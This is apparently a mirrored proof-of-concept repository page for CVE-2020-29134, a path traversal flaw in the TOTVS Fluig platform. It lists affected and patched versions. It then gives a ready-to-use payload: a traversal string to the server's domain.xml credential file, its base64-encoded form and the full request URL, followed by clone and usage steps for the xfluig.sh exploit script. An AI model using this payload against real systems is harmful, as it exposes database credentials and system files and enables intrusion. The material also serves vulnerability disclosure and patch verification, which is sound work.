CVE-2020-29134 PoC — Totvs TOTVS Fluig 路径遍历漏洞

Description

Exploit CVE-2020-29134 - TOTVS Fluig Platform - Path Traversal

介绍

# Totvs Fluig Platform
     
     Fluig is the productivity and collaboration platform that integrates with the ERP system,
     and your company's other systems to revolutionize the way you and your team work.
 
# CVE-2020-29134
     
     The TOTVS Fluig platform allows path traversal via parameter encoded in base64.
     When exploited, this vulnerability allows the reading of sensitive XML files, which contain
     data to access the database and, in some cases, LDAP connections and ERP system integrations.
     In addition, it is also possible to explore system files, such as /etc/passwd and /root/.bash_history
     
#### Versions affecteds 
    --
    <== Fluig Lake 1.7.0
    <== Fluig 1.6.5
    <== Fluig 1.6.4
    ...
#### Patched versions
    <== Fluig Lake 1.7.0-210303 (Patched)
    <== Fluig 1.6.5-210308 (Patched)
    <== Fluig 1.6.4-210308 (Patched)

# Building Payload

![alt text](https://raw.githubusercontent.com/lucxssouza/CVE-2020-29134/main/Payload-Parameter.png?raw=true)

#### Attack Vector
     http://fluig.host.com/volume/stream/Rmx1aWc=/
#### Path traversal plain text
     ?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml
#### Path traversal encoded base64
     P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=
#### Payload 
     http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=
     
#### Exploit-DB reference
     https://www.exploit-db.com/exploits/49622

     
# Clone Repository

     # git clone https://github.com/lucxssouza/CVE-2020-29134.git
     # cd CVE-2020-29134
     # chmod +x xfluig.sh

# Usage

     Ex1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ (number of requests generated by wfuzz)

     Ex2: ./xfluig.sh http://fluig.host.com:PORT

文件快照

备注